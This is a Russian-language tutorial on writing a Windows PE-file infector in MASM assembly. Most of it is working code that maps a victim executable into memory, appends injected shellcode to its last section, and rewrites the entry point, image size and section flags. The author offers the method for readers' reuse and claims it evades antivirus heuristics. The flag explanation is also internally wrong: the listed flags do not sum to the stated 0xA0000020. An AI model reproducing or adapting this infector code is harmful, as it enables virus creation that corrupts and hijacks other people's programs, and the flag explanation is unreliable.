[ Инфектор PE-файлов ]
Введение
Добрый вечер дамы и господа! Если вы читаете этот документ, то вы наверное прочитали знакомые слова в названии статьи или
вы новичок и хотите узнать больше о компьютерной вирусологии. А может Вы просто щелкнули на ссылку в броузере из-за
любопытства. Ну ладно, не будет превращать эту статью в низкосортное литературное произведение, и перейдем ближе к делу.
В этой статье мы напишем инфектор-PE файлов. Эта статья описывает: во-первых, как заражать исполняемые файлы(PE - Portable
Executable) в операционной системе Windows, во-вторых, процесс создания Windows-приложений на ассемблере, в-третьих,
некоторые системные механизмы ОС семейства Windows. Эта статья не претендует на оригинальность, а просто, возможно,
добавит Вам некоторые новые знания в области операционных систем Windows. Мы создадим пользовательский интерфейс для
нашего инфектора, и опишем действия которые нужны для заражения PE-файлов. Инфектор, возможно, не учитывает всех
тонкостей, но этот материал даст Вам пищу для размышлений.
Способ заражения
Заражать файл мы будем с помощью метода добавления кода в последнюю секцию. Это не оригинальный способ, но он реально
работает, и Вы можете его использовать в своих работах, несколько модифицировав. Как Вы знаете, в PE-файле есть секции,
которые содержат материал для приложения, т.е. код, данные, ресурсы, информация для отладчика, информация о базовых
поправках, таблица импорта/экспорта и т.д. Принципиально секции различаются по атрибутам. Т.е. например секция .text(для
компиляторов от Microsoft), которая содержит код для исполнения приложением, имеет атрибуты: Code, Executable, Readable.
Так же и все остальные секции. Секции которые содержаться в PE-файле описываются в таблице секций. Это массив структур, в
которых содержится вся необходимая информация о секции. Это кратко о секциях. Мы просто ищем в таблице секций максимальное
смещение секции в файле(!). В конец этой секции мы записываем наш код, а также с учетом файлового смещения(File Alignment)
забиваем нулями остальное место. После того как наш код вставлен необходимо модифицировать таблицу секций, а также сам
заголовок PE-файла(PE header). Вот действия по шагам, которые Вам надо сделать, чтобы заразить PE-файл:
1. Находим последнюю секцию виртуально и физически.
2. Проверка, не равен ли размер последней секции нулю.
3. Если нет, то записываем в конец секции код вируса.
4. Выравниваем новую секцию с учетом файлового выравнивания.
5. Правим виртуальный и физический размеры секций.
6. Правим точку входа.
7. Правим размер образа - ImageSize=VirtualSize+VirtualAddress
8. Правим - характеристики - на 0А0000020h
Чтобы что-то записывать в исполняемый файл я буду использовать файловую проекцию(FileMapping). File Mapping - это
механизм позволяющий работать с файлом как будто он находиться в оперативной памяти. Мы записываем данные в память, а
на самом деле мы записываем их в файл. Этот механизм достаточно широко используется при программировании приложений для
Windows, а также его использует сама ОС, например при запуске исполняемого файла на выполнение (функцией CreateProcess(:)).
Файловый мэппинг используется как механизм для связи между процессами, если создать общий раздел памяти.
Обеспечиваем доступ к данным в файле
Давайте же приступим, наконец, к кодированию. У нас есть файл PE-формата. И Вы, естественно, должны знать структуру
PE-файла. Вкратце рассмотрим этот формат. Вот его общая структура (взята из книги Мета Питрека "Секреты системного
программирования для Windows 95"): (addons/peinfector_1.gif)
Исчерпывающие определения структур вы найдете в файле WINNT.H. Названия структур в WINNT.H, которые соответствуют
структурам PE-файла:
IMAGE_DOS_HEADER - DOS .EXE header
IMAGE_FILE_HEADER - файловый заголовок
IMAGE_OPTIONAL_HEADER - опциональный заголовок. Опциональным называется потому, что при создании PE-формата разработчики
предполагали, что структура этого заголовка будет варьироваться от разных реализаций. "Опциональный" не означает, что он
может быть, а может и не быть, как считают некоторые.
IMAGE_SECTION_HEADER - элемент, в таблице секций который, описывает каждую секцию в исполняемом файле.
Если Вас интересуют какие-то поля, то смотрите их в заголовочном файле WINNT.H.
Для заражения мы проецируем файл-жертву в память с помощью моей любимой функции CreateFileMapping:
invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE, \
FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
;открываем файл для проецирования
;с помощью функции CreateFile указываем на каком носителе находиться файл
.IF eax==INVALID_HANDLE_VALUE ;если файла нет, то выходим
jmp error
.ENDIF
mov hFileTo,eax;хэндл файла в hFileTo
invoke GetFileSize,hFileTo,NULL;получить размер exe файла
mov edi,eax
invoke GetFileSize,hFileFrom,NULL
;получить размер файла, где находиться код для заражения
add eax,7;7 байт занимает код для восстановления в точку входа
mov ecx,eax;код далее высчитывает размер нового файла с учетом размера
;внедряемого кода и файлового выравнивания
mov ebx,4096
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;
add edi,ecx;в еcx теперь размер файла с учетом вставки нового кода
;формула для вычисления размера с учетом выравнивания
; (x+(y-1))&(~(y-1)), где x -;размер без выравнивания,
; y - выравнивающий фактор
invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL
;создаем проекцию файла для чтения и записи
.IF eax==NULL
jmp error
.ENDIF
mov hFileMappingTo,eax
invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0
;передаем физическую
;память для данного файла в память
.IF eax==NULL
jmp error
.ENDIF
mov hMappingTo,eax
;адрес в адресном пространстве текущего процесс для
;спроецируемого файла в hMappingTo
Здесь надо немного пояснить код, если Вы вдруг чего-нибудь не поняли. С проецированием должно быть все понятно. Важно
учитывать, что инфектор должен восстанавливать точку входа, т.е. после выполнения Вашего внедренного кода, код должен
прыгнуть на нормальную точку входа программы. 7 байт занимает этот прыжок. Расширение последней секции происходит,
учитывая файловое выравнивание. Формула для быстрого подсчета размера с учетом выравнивания дана в комментариях к коду.
Например, у Вас есть значение 1322, а выравнивающий фактор 400, то выровненное значение будет равно 1600. При передаче
физической памяти, передаем весь файл полностью. После этого кода, по адресу обозначенному меткой hMappingTo будет
находиться виртуальный адрес начала exe-файла-жертвы. Файл, откуда берется код для заражения также проецируется, но вы
могли взять данные для заражения каким-либо другим способом. Это же относиться и к файлу-жертве.
Путешествуем по PE файлу и вылавливаем нужные для нас данные
Здесь мы будем вылавливать данные из файлового и опционального заголовка, нужные нам для заражения. Вот что нам
необходимо: количество секций, адрес точки входа, выравнивающий фактор, адрес размера образа, база образа, точка
входа, указатель на характеристики секции, указатель на характеристики последней секции, размеры(!) секции. Если вы
видите, что лишняя переменная выделена, например адрес точки входа и точка входа, то это было сделано сознательно для
более лучшего усвоения материала, более четкой структурированности. Естественно, Вы можете улучшить этот код,
оптимизируя его или подстраивая его под свои требования. После получения нужных данных проходим по таблице секций и ищем
секцию с максимальным физическим смещением в файле(!).
;------------------------Работа с PE-заголовком------------
;-получаем количество секций и проходим до опционального заголовка-
mov edi,hMappingTo
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew;в edi - PE заголовок
add edi,4;в edi - адрес файлового заголовка
assume edi:ptr IMAGE_FILE_HEADER
push [edi].NumberOfSections
pop NumberOfSections
add edi,sizeof IMAGE_FILE_HEADER ;в edi - адрес опционального
; заголовка
assume edi:ptr IMAGE_OPTIONAL_HEADER
;-----получаем VA точки входа чтобы потом ее перебить
mov EntryPoint,edi
add EntryPoint,16
;-----получаем выравнивание секций
push [edi].FileAlignment
pop FileAlignment
;-----получаем адрес ImageSize
mov pImageSize,edi
add pImageSize,56
;-----получаем базу PE-файла
push [edi].ImageBase
pop Base
;-----получаем точку входа
push [edi].AddressOfEntryPoint
pop Point
;-----переходим в таблицу секций и ищем последнюю секцию
add edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций
assume edi:ptr IMAGE_SECTION_HEADER
mov MaxOffset,0
xor ecx,ecx
mov cx,NumberOfSections
.WHILE ecx>0 ;цикл поиска смещения в файле последней секции.
;на выходе в MaxOffset - смещение относительно
;начала файла последней секции
mov eax,MaxOffset
.IF [edi].PointerToRawData>eax ;если размер этой секции
;больше предыдущего, то:
push [edi].PointerToRawData
pop MaxOffset;смещение в файле
push [edi].SizeOfRawData
pop SizeOfLastSection;размер последней секции
mov pSizeOfLastSection,edi
add pSizeOfLastSection,16;указатель на характеристики
mov pVSizeOfLastSection,edi
add pVSizeOfLastSection,8;указатель на виртуальный размер
mov eax,[edi].VirtualAddress
mov esi,[edi].SizeOfRawData
add eax,esi;в eax размер секции с учетом выравнивания
mov SizeOfRawData,eax
mov eax,[edi].VirtualAddress;виртуальный адрес в eax
mov VirtualAdd,eax
mov pCharacters,edi
add pCharacters,36;адрес характеристик последней секции
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции
dec ecx
.ENDW
;------------------------End Работа с PE-заголовком------------
mov edi,pSizeOfLastSection ; проверяем, не нулевая ли
; последняя секция?
mov eax,dword ptr [edi]; размер секции в eax
.IF eax==0
invoke MessageBox,0,offset SectionError,offset ErrorTitle,0
.ENDIF
В таблице секций, VirtualSize соответствует размеру секции без выравнивания, а SizeOfRawData с учетом файлового
выравнивания. По-моему, название VirtualSize выбрано не очень подходящее. На выходе из этого кода в MaxOffset получаем
смещение последней секции.
Внедряем код
Код мы будем внедрять из области памяти в которую был спроецирован файл с данными. Команды для внедрения Вы должны
сформировать самостоятельно в шелл-код стиле. Сразу после окончания Вашего кода инфектор добавляет инструкцию перехода
на нормальную точку входа программы. Эта инструкция занимает 7 байт памяти. Запись кода производиться не с конца кода
последней секции, а со смещения кратного файловому смещению. Этим ходом мы и обманываем современные антивирусы и
соответственно их эвристические анализаторы. Для Вас задание: сделать этот код в 2 раза короче. Это возможно.
;----------------внедряем код---------------
cld
mov edi,hMappingTo
mov eax,MaxOffset
add eax,SizeOfLastSection
add edi,eax;в edi - конец последней секции,
; т.е адрес с которого начинать запись
mov esi,hMappingFrom; в hMappingFrom - адрес
; кода который нужно записать
invoke GetFileSize,hFileFrom,NULL
mov ecx,eax
rep movsb;внедряем код
mov esi,offset code
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc esi
inc edi
mov eax,Base
add eax,Point
mov dword ptr [edi],eax
add edi,4
add esi,4
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
Далее заполняем нулями оставшуюся часть памяти, учитывая опять же смещение:
;--это типа для заполнения нулями оставшейся части
;--для учета FileAlignment----
invoke GetFileSize,hFileFrom,NULL
add eax,7
mov ecx,eax
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
mov esi,edi
add edi,ecx
sub edi,eax
.WHILE 1
mov byte ptr [esi],0
inc esi
.IF esi==edi
.BREAK
.ENDIF
.ENDW
Вот и все код внедрен, осталось поправить некоторые значения в PE-файле.
;-----записываем новый размер последней секции
mov eax,MaxOffset
add eax,hMappingTo
sub edi,eax
mov esi,pSizeOfLastSection
mov [esi],edi;записываем новый размер секции в
;таблицу секций
mov esi,pVSizeOfLastSection
mov ecx,[esi]
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
mov dword ptr [esi],ecx
invoke GetFileSize,hFileFrom,NULL;виртуальный размер
; - размер секции без файлового выравнивания
add eax,7
add [esi],eax;записывает виртуальный размер секции
mov eax,dword ptr [esi]
push eax
mov esi,EntryPoint
mov eax,SizeOfRawData
mov [esi],eax;меняем точку входа
pop eax
mov esi,pImageSize
mov edi,ImageSize
add edi,eax
mov [esi],edi;изменяем ImageSize
mov esi,pCharacters
mov dword ptr [esi],0A0000020h;правим характеристики
;секции
Все изменяемые поля тривиальны и говорят сами за себя, кроме Characteristics. Это атрибуты секций. Вот список возможных
атрибутов:
#define IMAGE_SCN_CNT_CODE 0x00000020 // Секция содержит код
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 //Секция содержит инициализированные данные
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 //Секция содержит //неинициализированные данные
#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // Секция содержит расширенные поправки
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Секция может быть игнорирована
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // Секция не кешируема
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 //Секция не сбрасывается в страничный файл
#define IMAGE_SCN_MEM_SHARED 0x10000000 // Общая секция
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 //Секция выполняемая
#define IMAGE_SCN_MEM_READ 0x40000000 // Секция для чтения
#define IMAGE_SCN_MEM_WRITE 0x80000000 //Секция для записи
Мы устанавливаем следующие атрибуты - Секция содержит код, для чтения и для записи:
0x00000020+
0x40000000+
0x80000000=
0xa0000020
Программа PeInfector (учебно-тестовая программа, демонстрирующая вышеописанные технологии
Здесь содержится полный код инфектора. Сначала создается окно. Когда окну посылается сообщение WM_CREATE, то на нем
создается три кнопки и два edit-бокса. Программа использует директивы masm32 и соответственно предназначена для его
компилятора.
Компиляция
\masm32\bin\ml.exe /c /coff work.asm
\masm32\bin\link.exe /SUBSYSTEM:WINDOWS work.obj